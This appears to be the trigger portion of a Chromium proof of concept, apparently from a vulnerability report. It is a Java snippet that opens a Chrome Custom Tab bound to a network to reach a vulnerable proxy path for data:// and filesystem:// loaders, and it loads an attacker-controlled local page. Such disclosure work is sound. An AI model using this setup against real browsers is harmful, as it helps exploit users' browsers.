// Minimal Android host-app snippet that opens a Chrome Custom Tab bound to a
// specific Network. This is the precondition that puts the WebContents into
// the multi-network mode (WebContents::target_network_ != kInvalidNetworkHandle)
// and causes ChromeContentBrowserClient::MaybeProxyNetworkBoundRequest to take
// the vulnerable single-layer (!factory_override) path for the per-scheme
// (data://, filesystem://) subresource URLLoaderFactories.
//
// Requires the host app to be a trusted CCT caller (1P-signed or allowlisted)
// so that EXTRA_NETWORK is honoured by CustomTabIntentDataProvider.

import android.net.ConnectivityManager;
import android.net.Network;
import android.net.Uri;
import androidx.browser.customtabs.CustomTabsIntent;

void launch(android.content.Context ctx) {
    ConnectivityManager cm = ctx.getSystemService(ConnectivityManager.class);
    Network net = cm.getActiveNetwork();   // any valid handle works

    CustomTabsIntent cct = new CustomTabsIntent.Builder().build();
    cct.intent.putExtra(CustomTabsIntent.EXTRA_NETWORK, net);
    // Attacker-controlled landing page (server.py running on the device / LAN):
    cct.launchUrl(ctx, Uri.parse("http://127.0.0.1:8080/poc.html"));
}